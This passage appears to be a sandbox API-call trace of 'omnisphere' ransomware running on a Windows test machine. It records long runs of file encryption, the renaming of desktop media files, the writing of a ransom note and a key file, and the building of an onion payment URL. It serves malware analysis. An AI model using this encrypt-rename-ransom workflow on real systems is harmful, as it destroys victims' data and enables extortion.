dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.537] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.538] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.539] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.542] CryptDestroyKey (hKey=0x1639b68) returned 1 [0164.542] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0164.542] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x163be, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.542] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.543] GetProcessHeap () returned 0x1600000 [0164.543] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x280) returned 0x1775a70 [0164.543] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\qezra65gnph7u5zlezte.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\qezra65gnph7u5zlezte.wav.omnisphere")) returned 1 [0164.544] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav.omnisphere.id" [0164.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\qezra65gnph7u5zlezte.wav.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.544] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.545] CloseHandle (hObject=0x3bc) returned 1 [0164.545] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0164.546] CloseHandle (hObject=0x380) returned 1 [0164.546] SetEndOfFile (hFile=0x39c) returned 1 [0164.546] FlushFileBuffers (hFile=0x39c) returned 1 [0164.689] CloseHandle (hObject=0x39c) returned 1 [0164.689] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\qeZRA65gNPH7U5zlEZte.wav" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.690] GetProcessHeap () returned 0x1600000 [0164.690] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1775cf8 [0164.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.690] GetProcessHeap () returned 0x1600000 [0164.690] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733ce8 [0164.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733ce8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.690] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.690] GetProcessHeap () returned 0x1600000 [0164.690] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f5c0 [0164.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f5c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.690] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.690] GetProcessHeap () returned 0x1600000 [0164.691] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1774168 [0164.691] PathCombineW (in: pszDest=0x1774168, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.691] GetProcessHeap () returned 0x1600000 [0164.691] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1753528 [0164.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.691] WriteFile (in: hFile=0x39c, lpBuffer=0x1753528*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1753528*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.691] CloseHandle (hObject=0x39c) returned 1 [0164.692] GetProcessHeap () returned 0x1600000 [0164.692] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1775cf8 | out: hHeap=0x1600000) returned 1 [0164.692] GetProcessHeap () returned 0x1600000 [0164.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a570 [0164.692] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.692] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.692] CloseHandle (hObject=0x39c) returned 1 [0164.693] GetProcessHeap () returned 0x1600000 [0164.693] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0164.693] GetProcessHeap () returned 0x1600000 [0164.693] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1773a60 | out: hHeap=0x1600000) returned 1 [0164.693] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ee2bd0, ftCreationTime.dwHighDateTime=0x1d4c93c, ftLastAccessTime.dwLowDateTime=0xe3d3d6c0, ftLastAccessTime.dwHighDateTime=0x1d4c835, ftLastWriteTime.dwLowDateTime=0xe3d3d6c0, ftLastWriteTime.dwHighDateTime=0x1d4c835, nFileSizeHigh=0x0, nFileSizeLow=0xc2e3, dwReserved0=0x0, dwReserved1=0xf5, cFileName="QqgN-Lz9.mp3", cAlternateFileName="")) returned 1 [0164.693] GetProcessHeap () returned 0x1600000 [0164.693] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x58) returned 0x163d538 [0164.693] PathCombineW (in: pszDest=0x163d538, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="QqgN-Lz9.mp3" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3" [0164.693] StrStrW (lpFirst=".omnisphere", lpSrch=".mp3") returned 0x0 [0164.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\qqgn-lz9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.694] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=49891) returned 1 [0164.695] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xbdbf, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.695] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, 